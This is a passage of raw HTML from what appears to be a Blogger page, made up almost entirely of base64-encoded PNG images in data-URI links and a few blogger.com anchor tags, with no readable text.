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" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="data:image/png;base64,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" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="data:image/png;base64,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